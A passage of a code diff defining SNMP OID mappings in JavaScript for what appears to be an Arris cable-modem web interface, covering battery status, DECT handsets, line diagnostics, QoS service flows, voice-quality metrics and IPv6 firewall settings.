"1.3.6.1.4.1.4491.2.2.2.1.2.1.1.18",2); +var pktcNcsEndPntConfigCallAgentId = pktcNcsEndPntConfigEntry.CallAgentId; +var pktcNcsEndPntConfigCallAgentUdpPort = pktcNcsEndPntConfigEntry.CallAgentUdpPort; +var pktcNcsEndPntConfigMWD = pktcNcsEndPntConfigEntry.MWD; + + +var docsDevEventTable = new Table("docsDevEventTable", "1.3.6.1.2.1.69.1.5.8"); +docsDevEventTable.EvFirstTime = new Column("docsDevEvFirstTime","1.3.6.1.2.1.69.1.5.8.1.2",4,1); +docsDevEventTable.EvLastTime = new Column("docsDevEvLastTime","1.3.6.1.2.1.69.1.5.8.1.3",4,1); +docsDevEventTable.EvText = new Column("docsDevEvText","1.3.6.1.2.1.69.1.5.8.1.7",4); +var docsDevEvFirstTime=docsDevEventTable.EvFirstTime; +var docsDevEvLastTime=docsDevEventTable.EvLastTime; +var docsDevEvText=docsDevEventTable.EvText; + + + +// + + +//battery + + +// +var upsBattery = new Container("upsBattery", "1.3.6.1.2.1.33.1.2"); +upsBattery.upsBatteryStatus = new Scalar("upsBatteryStatus", "1.3.6.1.2.1.33.1.2.1", 2); + +var MtaDevBatteryStatusTable = new Table("MtaDevBatteryStatusTable", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3"); +MtaDevBatteryStatusTable.MtaDevBatteryOperState = new Column("MtaDevBatteryOperState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.2", 2); +MtaDevBatteryStatusTable.MtaDevBatteryOperSubState = new Column("MtaDevBatteryOperSubState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.4", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode = new Column("MtaDevBatteryOrderingCode", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.5", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryEprom = new Column("MtaDevBatteryEprom", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.6", 4,1); + +var MtaDevPwrSupplyStats = new Container("MtaDevPwrSupplyStats", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes = new Scalar("MtaDevPwrSupplyBatRatedMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.10", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes = new Scalar("MtaDevPwrSupplyBatAvailableMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.11", 2); +// scm ChengTa Lee x2 +MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity = new Scalar("MtaDevPwrSupplyRatedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.5", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity = new Scalar("MtaDevPwrSupplyTestedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.6", 2); +// scm ChengTa Lee +var MtaDevTrace = new Container("MtaDevTrace", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2"); +MtaDevTrace.MtaDevEstimatedMinutesRemaining = new Scalar("MtaDevEstimatedMinutesRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.44", 2); +MtaDevTrace.MtaDevEstimatedChargeRemaining = new Scalar("MtaDevEstimatedChargeRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.45", 2); +// scm ChengTa Lee x2 +var arrisMtaDevPwrSupplyRatedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity; +var arrisMtaDevPwrSupplyTestedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity; +var upsBatteryStatus = upsBattery.upsBatteryStatus; +var arMtaDevBatteryOperState = MtaDevBatteryStatusTable.MtaDevBatteryOperState; +var arMtaDevBatteryOperSubState = MtaDevBatteryStatusTable.MtaDevBatteryOperSubState; +var arMtaDevBatteryOrderingCode = MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode; +var arMtaDevBatteryEprom = MtaDevBatteryStatusTable.MtaDevBatteryEprom; +var arMtaDevPwrSupplyBatRatedMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes; +var arMtaDevPwrSupplyBatAvailableMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes; +var arMtaDevEstimatedMinutesRemaining = MtaDevTrace.MtaDevEstimatedMinutesRemaining; +var arMtaDevEstimatedChargeRemaining = MtaDevTrace.MtaDevEstimatedChargeRemaining; + +var DectConfiguration = new Container("arrisDectConfiguration", "1.3.6.1.4.1.4115.1.3.13.1"); +DectConfiguration.DectBaseStatus = new Scalar("arrisDectBaseStatus","1.3.6.1.4.1.4115.1.3.13.1.1",4,1); +DectConfiguration.DectBaseDectModuleHwVersion = new Scalar("arrisDectBaseDectModuleHwVersion","1.3.6.1.4.1.4115.1.3.13.1.2",4); +DectConfiguration.DectCfgFwVersion = new Scalar("arrisDectCfgFwVersion","1.3.6.1.4.1.4115.1.3.13.1.7",4); + +DectConfiguration.DectBaseRFPI = new Scalar("arrisDectBaseRFPI","1.3.6.1.4.1.4115.1.3.13.1.3",4); +DectConfiguration.DectCfgRegistrationMode = new Scalar("arrisDectCfgRegistrationMode","1.3.6.1.4.1.4115.1.3.13.1.4",2); +DectConfiguration.DectCfgPortInterfaceIndex = new Scalar("arDectCfgPortInterfaceIndex","1.3.6.1.4.1.4115.1.3.13.1.11",2); +// scm add start x2 +DectConfiguration.DectCatiqOnOff = new Scalar("arDectCatiqOnOff","1.3.6.1.4.1.4115.1.3.13.1.10",2); +DectConfiguration.DectBasePin = new Scalar("arDectBasePin","1.3.6.1.4.1.4115.1.3.13.1.5",4); +var arDectCatiqOnOff=DectConfiguration.DectCatiqOnOff; +var arDectBasePin=DectConfiguration.DectBasePin; +// scm add end +var arDectBaseStatus=DectConfiguration.DectBaseStatus; +var arDectBaseDectModuleHwVersion=DectConfiguration.DectBaseDectModuleHwVersion; +var arDectCfgFwVersion=DectConfiguration.DectCfgFwVersion; +var arDectBaseRFPI=DectConfiguration.DectBaseRFPI; +var arDectCfgRegistrationMode=DectConfiguration.DectCfgRegistrationMode; +var arDectCfgPortInterfaceIndex=DectConfiguration.DectCfgPortInterfaceIndex; + +var pktcMdiMdiTable = new Table("pktcMdiMdiTable", "1.3.6.1.4.1.4491.2.2.8.6.1.1"); +pktcMdiMdiTable.MdiMdiName = new Column("pktcMdiMdiName","1.3.6.1.4.1.4491.2.2.8.6.1.1.1.2",4); +var pktcMdiMdiName = pktcMdiMdiTable.MdiMdiName; + +// scm table +var pktcMdiNslPortListTable = new Table("pktcMdiNslPortListTable", "1.3.6.1.4.1.4491.2.2.8.6.1.2"); +pktcMdiNslPortListTable.pktcMdiNslPortListIn = new Column("pktcMdiNslPortListIn", "1.3.6.1.4.1.4491.2.2.8.6.1.2.1.3", 4); +var arpktcMdiNslPortListIn = pktcMdiNslPortListTable.pktcMdiNslPortListIn; +// scm container +var DectCfgPinBase = new Container("DectCfgPinBase", "1.3.6.1.4.1.4115.1.3.13.1"); +DectCfgPinBase.DectCfgPinCode = new Scalar("DectCfgPinCode","1.3.6.1.4.1.4115.1.3.13.1.5",4,1); +var arDectCfgPinCode = DectCfgPinBase.DectCfgPinCode; + +var DectCfgHsTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.2"); +DectCfgHsTable.CfgHsRegisteredTn = new Column("arrisDectCfgHsRegisteredTn","1.3.6.1.4.1.4115.1.3.13.2.1.1",2); +DectCfgHsTable.CfgHsLastActivity = new Column("arrisDectCfgHsLastActivity","1.3.6.1.4.1.4115.1.3.13.2.1.2",2); +DectCfgHsTable.CfgHsDeregister = new Column("arrisDectCfgHsDeregister","1.3.6.1.4.1.4115.1.3.13.2.1.3",2); +DectCfgHsTable.CfgHsStatus = new Column("arrisDectCfgHsStatus","1.3.6.1.4.1.4115.1.3.13.2.1.4",2); +DectCfgHsTable.CfgHsName = new Column("arrisDectCfgHsName","1.3.6.1.4.1.4115.1.3.13.2.1.5",4); +var arDectCfgHsRegisteredTn = DectCfgHsTable.CfgHsRegisteredTn; +var arDectCfgHsLastActivity = DectCfgHsTable.CfgHsLastActivity; +var arDectCfgHsDeregister = DectCfgHsTable.CfgHsDeregister; +var arDectCfgHsStatus = DectCfgHsTable.CfgHsStatus; +var arDectCfgHsName = DectCfgHsTable.CfgHsName; + +var DectCfgMdiTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.3"); +DectCfgMdiTable.DectCfgMdiToNsl = new Column("arrisDectCfgMdiToNsl","1.3.6.1.4.1.4115.1.3.13.3.1.1",66); +var arDectCfgMdiToNsl = DectCfgMdiTable.DectCfgMdiToNsl; + +var pktcDectPPTable = new Table("pktcDectPPTable", "1.3.6.1.4.1.4491.2.2.8.4.1.8"); +pktcDectPPTable.PPStatus = new Column("pktcDectPPStatus","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.4",2); +pktcDectPPTable.PPRegCtrl = new Column("pktcDectPPRegCtrl","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.5",2); +var pktcDectPPStatus = pktcDectPPTable.PPStatus; +var pktcDectPPRegCtrl = pktcDectPPTable.PPRegCtrl; + +// +// MTA > Line Diagnostics +// +var MtaDevDiagLoopTable = new Table("MtaDevDiagLoopTable", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1"); +MtaDevDiagLoopTable.MtaDevDiagLoopRequest = new Column("MtaDevDiagLoopRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.3", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopLastResult = new Column("MtaDevDiagLoopLastResult", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.4", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest = new Column("MtaDevDiagLoopHazardousPotentialTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.5", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest = new Column("MtaDevDiagLoopForeignEmfTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.6", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest = new Column("MtaDevDiagLoopResistiveFaultsTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.7", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest = new Column("MtaDevDiagLoopReceiverOffHookTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.8", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest = new Column("MtaDevDiagLoopRingerTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.9", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest = new Column("MtaDevDiagLoopForceRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.10", 2); +var arMtaDevDiagLoopRequest = MtaDevDiagLoopTable.MtaDevDiagLoopRequest; +var arMtaDevDiagLoopLastResult = MtaDevDiagLoopTable.MtaDevDiagLoopLastResult; +var arMtaDevDiagLoopHazardousPotentialTest = MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest; +var arMtaDevDiagLoopForeignEmfTest = MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest; +var arMtaDevDiagLoopResistiveFaultsTest = MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest; +var arMtaDevDiagLoopReceiverOffHookTest = MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest; +var arMtaDevDiagLoopRingerTest = MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest; +var arMtaDevDiagLoopForceRequest = MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest; + + +// +// MTA > Service Flow +// +var docsQosServiceFlowTable = new Table("docsQosServiceFlowTable", "1.3.6.1.4.1.4491.2.1.21.1.3"); +//docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.2.1.10.127.7.1.3.1.6", 66); +//docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.2.1.10.127.7.1.3.1.7", 2); +docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.4.1.4491.2.1.21.1.3.1.6", 66); +docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.4.1.4491.2.1.21.1.3.1.7", 2); +var docsQosServiceFlowSID = docsQosServiceFlowTable.SID; +var docsQosServiceFlowDirection = docsQosServiceFlowTable.Direction; + +var docsQosParamSetTable = new Table("docsQosParamSetTable", "1.3.6.1.4.1.4491.2.1.21.1.2"); +//docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.2.1.10.127.7.1.2.1.13", 2); +//docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.2.1.10.127.7.1.2.1.18", 66); +//docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.2.1.10.127.7.1.2.1.17", 2); +//docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.2.1.10.127.7.1.2.1.19", 66); +//docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.2.1.10.127.7.1.2.1.15", 66); +//docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.2.1.10.127.7.1.2.1.9", 2); +//docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.2.1.10.127.7.1.2.1.6", 66); +//docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.2.1.10.127.7.1.2.1.8", 66); +//docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.2.1.10.127.7.1.2.1.7", 66); +docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.4.1.4491.2.1.21.1.2.1.13", 2); +docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.17", 66); +docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.4.1.4491.2.1.21.1.2.1.16", 2); +docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.4.1.4491.2.1.21.1.2.1.18", 66); +docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.14", 66); +docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.4.1.4491.2.1.21.1.2.1.9", 2); +docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.6", 66); +docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.8", 66); +docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.4.1.4491.2.1.21.1.2.1.7", 66); +var docsQosParamSetSchedulingType = docsQosParamSetTable.SchedulingType; +var docsQosParamSetNomGrantInterval = docsQosParamSetTable.NomGrantInterval; +var docsQosParamSetUnsolicitGrantSize = docsQosParamSetTable.UnsolicitGrantSize; +var docsQosParamSetTolGrantJitter = docsQosParamSetTable.TolGrantJitter; +var docsQosParamSetNomPollInterval = docsQosParamSetTable.NomPollInterval; +var docsQosParamSetMinReservedPkt = docsQosParamSetTable.MinReservedPkt; +var docsQosParamSetMaxTrafficRate = docsQosParamSetTable.MaxTrafficRate; +var docsQosParamSetMinReservedRate = docsQosParamSetTable.MinReservedRate; +var docsQosParamSetMaxTrafficBurst = docsQosParamSetTable.MaxTrafficBurst; + + +// +// CallP / QoS +// +var MtaDevLineCardTable = new Table("MtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +MtaDevLineCardTable.State = new Column("MtaDevLineCardState", "1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2", 2); +var arMtaDevLineCardState = MtaDevLineCardTable.State; + +var ppCfgPortTable = new Table("ppCfgPortTable", "1.3.6.1.4.1.4115.10.1.1"); +ppCfgPortTable.LoopCurrent = new Column("ppCfgPortLoopCurrent", "1.3.6.1.4.1.4115.10.1.1.1.6", 2); +var ppCfgPortLoopCurrent = ppCfgPortTable.LoopCurrent; + +var MtaDevOperationalSetup = new Container("MtaDevOperationalSetup", "1.3.6.1.4.1.4115.1.3.3.1.2.3"); +MtaDevOperationalSetup.EnableMGCPLog = new Scalar("MtaDevOperationalSetupEnableMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.34", 2); +MtaDevOperationalSetup.ClearMGCPLog = new Scalar("MtaDevOperationalSetupClearMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.36", 2); +var arMtaDevOperationalSetupEnableMGCPLog = MtaDevOperationalSetup.EnableMGCPLog; +var arMtaDevOperationalSetupClearMGCPLog = MtaDevOperationalSetup.ClearMGCPLog; + +var MtaDevEndPnt = new Table("MtaDevEndPnt", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3"); +MtaDevEndPnt.CallPState = new Column("MtaDevEndPntCallPState", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3.1.37", 2); +var arMtaDevEndPntCallPState = MtaDevEndPnt.CallPState; + +var MtaDispSignal = new Table("MtaDispSignal", "1.3.6.1.4.1.4115.1.3.3.1.5.1"); +MtaDispSignal.Log = new Column("MtaDispSignalLog", "1.3.6.1.4.1.4115.1.3.3.1.5.1.1.2", 4); +var arMtaDispSignalLog = MtaDispSignal.Log; + +var MtadocsQosService = new Table("MtadocsQosService", "1.3.6.1.4.1.4115.1.3.3.1.6.1"); +MtadocsQosService.FlowID = new Column("MtadocsQosServiceFlowID", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.2", 2); +MtadocsQosService.ClassName = new Column("MtadocsQosServiceClassName", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.3", 4); +MtadocsQosService.FlowDirection = new Column("MtadocsQosServiceFlowDirection", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.4", 4); +MtadocsQosService.PrimaryFlow = new Column("MtadocsQosServicePrimaryFlow", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.5", 4); +MtadocsQosService.TrafficType = new Column("MtadocsQosServiceTrafficType", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.6", 4); +MtadocsQosService.ServicePackets = new Column("MtadocsQosServiceServicePackets", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.7", 2); +var arMtadocsQosServiceFlowID = MtadocsQosService.FlowID; +var arMtadocsQosServiceClassName = MtadocsQosService.ClassName; +var arMtadocsQosServiceFlowDirection = MtadocsQosService.FlowDirection; +var arMtadocsQosServicePrimaryFlow = MtadocsQosService.PrimaryFlow; +var arMtadocsQosServiceTrafficType = MtadocsQosService.TrafficType; +var arMtadocsQosServiceServicePackets = MtadocsQosService.ServicePackets; + +var MtadocsQosShowDsxLog = new Table("MtadocsQosShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4"); +MtadocsQosShowDsxLog.ShowDsxLog = new Column("MtadocsQosShowDsxLogShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4.1.2", 4); +var arMtadocsQosShowDsxLogShowDsxLog = MtadocsQosShowDsxLog.ShowDsxLog; + +var MtadocsQosServiceContainer = new Container("MtadocsQosServiceContainer", "1.3.6.1.4.1.4115.1.3.3.1.6"); +MtadocsQosServiceContainer.DisableLoggin = new Scalar("MtadocsQosServiceContainerDisableLoggin", "1.3.6.1.4.1.4115.1.3.3.1.6.2", 2); +MtadocsQosServiceContainer.LogClear = new Scalar("MtadocsQosServiceContainerLogClear", "1.3.6.1.4.1.4115.1.3.3.1.6.3", 2); +var arMtadocsQosServiceContainerDisableLoggin = MtadocsQosServiceContainer.DisableLoggin; +var arMtadocsQosServiceContainerLogClear = MtadocsQosServiceContainer.LogClear; + + +// +// VQM +// +var MtaDevVqm = new Container("MtaDevVqm", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4"); +MtaDevVqm.Line = new Scalar("MtaDevVqmLine", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.1", 2); +MtaDevVqm.Clear = new Scalar("MtaDevVqmClear", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.2", 2); +MtaDevVqm.CallNumberIdentifier = new Scalar("MtaDevVqmCallNumberIdentifier", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.5", 2); +var arMtaDevVqmLine = MtaDevVqm.Line; +var arMtaDevVqmClear = MtaDevVqm.Clear; +var arMtaDevVqmCallNumberIdentifier = MtaDevVqm.CallNumberIdentifier; + +var MtaDevVqmCallNumberTable = new Table("MtaDevVqmCallNumberTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4"); +MtaDevVqmCallNumberTable.CallNumberIds = new Column("MtaDevVqmCallNumberIds", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4.1.2", 4); +var arMtaDevVqmCallNumberIds = MtaDevVqmCallNumberTable.CallNumberIds; + +var MtaDevVqmMetricTable = new Table("MtaDevVqmMetricTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6"); +MtaDevVqmMetricTable.MtaDevVqmMetricValues = new Column("MtaDevVqmMetricValues", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6.1.2", 4); +var arMtaDevVqmMetricValues = MtaDevVqmMetricTable.MtaDevVqmMetricValues; + +//software.php +var CmDoc30EsaftFWTable = new Table("CmDoc30EsaftFWTable", "1.3.6.1.4.1.4115.1.3.4.1.6.1.1"); +CmDoc30EsaftFWTable.FwCurrentFileName = new Column("FwCurrentFileName","1.3.6.1.4.1.4115.1.3.4.1.6.1.1.1.8",4); +var arFwCurrentFileName=CmDoc30EsaftFWTable.FwCurrentFileName; + + +if (window["preWalk"]) { + var foo = []; + _.each(container, function(v) { + foo.push(window[v.name]); + }); + _.each(table, function(v) { + foo.push(window[v.name]); + }); + load.apply(this, foo); +} + + +function dumpInC() { + function dumpOneInC(o) { + $.log("\"" + o.oid + ".\",\"" + o.name + "\","); + } + + _.each(container, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + _.each(table, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + +} + +var rowStatusCols = [ + arWanStaticDNSRowStatus, + arLanDNSRowStatus, + arLanClientRowStatus, + arDeviceUpDownStatus, + arLanCustomRowStatus, + arWEP64BitKeyStatus, + arWEP128BitKeyStatus, + arMACAccessStatus, + arWDSBridgeStatus, + arFWVirtSrvRowStatus, + arFWIPFilterRowStatus, + arFWMACFilterRowStatus, + arFWPortTrigRowStatus, + arKeywordBlkStatus, + arBlackListStatus, + arWhiteListStatus, + arTrustedDeviceStatus, + arSNTPServerStatus, + arLanStaticClientRowStatus + //, arWebAccessRowStatus not needed since we don't create and I have seen some problems + // arWebAccessRowStatus +]; + +function oidIsRowStatus(oid) { + for (var i=0; i IPv6 ChengDa Lee + + + + + + +var FWCfgv6 = new Container("FWCfgv6", "1.3.6.1.4.1.4115.1.20.1.1.4.40"); +/*FWCfgv6.FWv6Enabled= new Scalar("FWv6Enabled","1.3.6.1.4.1.4115.1.20.1.1.459.1",2); +FWCfgv6.FWv6SecurityLevel= new Scalar("FWv6SecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.459.9",2); +FWCfgv6.FWv6ResetDefaults= new Scalar("FWv6ResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.459.22",2); +FWCfgv6.FWv6BlockHTTP= new Scalar("FWv6BlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.459.23",2); +FWCfgv6.FWv6BlockP2P= new Scalar("FWv6BlockP2P","1.3.6.1.4.1.4115.1.20.1.1.459.24",2); +FWCfgv6.FWv6BlockIdent= new Scalar("FWv6BlockIdent","1.3.6.1.4.1.4115.1.20.1.1.459.25",2); +FWCfgv6.FWv6BlockICMP= new Scalar("FWv6BlockICMP","1.3.6.1.4.1.4115.1.20.1.1.459.26",2); +FWCfgv6.FWv6BlockMulticast= new Scalar("FWv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.459.27",2); +*/ +/*var arFWv6Enabled=FWCfgv6.FWv6Enabled; +var arFWv6SecurityLevel=FWCfgv6.FWv6SecurityLevel; +var arFWv6ResetDefaults=FWCfgv6.FWv6ResetDefaults; +var arFWv6BlockHTTP=FWCfgv6.FWv6BlockHTTP; +var arFWv6BlockP2P=FWCfgv6.FWv6BlockP2P; +var arFWv6BlockIdent=FWCfgv6.FWv6BlockIdent; +var arFWv6BlockICMP=FWCfgv6.FWv6BlockICMP; +var arrisRouterFWIPv6Enable=FWCfgv6.FWv6BlockMulticast; +*/ +FWCfgv6.FWIPv6SecurityLevel = new Scalar("FWIPv6SecurityLevel", "1.3.6.1.4.1.4115.1.20.1.1.4.40.1", 2); +FWCfgv6.FWIPv6BlockHTTP = new Scalar("FWIPv6BlockHTTP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.2", 2); +FWCfgv6.FWIPv6BlockICMP = new Scalar("FWIPv6BlockICMP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.3", 2); +FWCfgv6.FWIPv6BlockMulticast = new Scalar("FWIPv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.40.4", 2); +FWCfgv6.FWIPv6BlockP2P = new Scalar("FWIPv6BlockP2P", "1.3.6.1.4.1.4115.1.20.1.1.4.40.5", 2); +FWCfgv6.FWIPv6BlockIDENT = new Scalar("FWIPv6BlockIDENT", "1.3.6.1.4.1.4115.1.20.1.1.4.40.6", 2); +FWCfgv6.FWIPv6Enable = new Scalar("FWIPv6Enable", "1.3.6.1.4.1.4115.1.20.1.1.4.40.7", 2); +FWCfgv6.FWIPv6ResetDefaults = new Scalar("FWIPv6ResetDefaults", "1.3.6.1.4.1.4115.1.20.1.1.4.40.8", 2); + +var arrisRouterFWIPv6SecurityLevel =FWCfgv6.FWIPv6SecurityLevel; +var arrisRouterFWIPv6BlockHTTP =FWCfgv6.FWIPv6BlockHTTP ; +var arrisRouterFWIPv6BlockICMP =FWCfgv6.FWIPv6BlockICMP ; +var arrisRouterFWIPv6BlockMulticast =FWCfgv6.FWIPv6BlockMulticast ; +var arrisRouterFWIPv6BlockP2P =FWCfgv6.FWIPv6BlockP2P ; +var arrisRouterFWIPv6BlockIDENT =FWCfgv6.FWIPv6BlockIDENT ; +var arrisRouterFWIPv6Enable =FWCfgv6.FWIPv6Enable ; +var arrisRouterFWIPv6ResetDefaults =FWCfgv6.FWIPv6ResetDefaults ; + +//Software +var mib2system2 = new Container("mib2system2", "1.3.6.1.4.1.4115.1.3.4.1.460"); +mib2system2.SoftwareImageName = new Scalar("SoftwareImageName","1.3.6.1.4.1.4115.1.3.4.1.460.1",2); +mib2system2.AdvancedServices = new Scalar("AdvancedServices","1.3.6.1.4.1.4115.1.3.4.1.460.2",2); +var mib2system2SoftwareImageName = mib2system2.SoftwareImageName; +var mib2system2AdvancedServices = mib2system2.AdvancedServices; + +//battery +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); +MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +MtaDevBatteryStatusTable2.MtaDevNumberofCycles = new Column("MtaDevNumberofCycles", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.5", 2); +var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; +var arMtaDevNumberofCycles = MtaDevBatteryStatusTable2.MtaDevNumberofCycles; + +var MtaDevBatteryStatus = new Container("MtaDevBatteryStatus", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevBatteryStatus.MtaDevTotalCapacity = new Scalar("MtaDevTotalCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.5",2); +MtaDevBatteryStatus.MtaDevActualCapacity = new Scalar("MtaDevActualCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.6",2); +var mib2MtaDevTotalCapacity = MtaDevBatteryStatus.MtaDevTotalCapacity; +var mib2MtaDevActualCapacity = MtaDevBatteryStatus.MtaDevActualCapacity; + +//remote management +var cmDocExtendCmParamterTable = new Table("cmDocExtendCmParamterTable", "1.3.6.1.4.1.4115.1.3.4.1.8.7"); +cmDocExtendCmParamterTable.CmParamterType = new Column("CmParamterType","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.2",2); +cmDocExtendCmParamterTable.CmParamterIpAddress = new Column("CmParamterIpAddress","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.3",4); +var arCmParamterType=cmDocExtendCmParamterTable.CmParamterType; +var arCmParamterIpAddress=cmDocExtendCmParamterTable.CmParamterIpAddress; + +//moca +var ArrisMoCAMib = new Container("ArrisMoCAMib", "1.3.6.1.4.1.4115.1.21"); +ArrisMoCAMib.MoCAApplySettings= new Scalar("MoCAApplySettings","1.3.6.1.4.1.4115.1.21.2",2); +var arMoCAApplySettings=ArrisMoCAMib.MoCAApplySettings; + +var mocaConfigation = new Container("mocaConfigation", 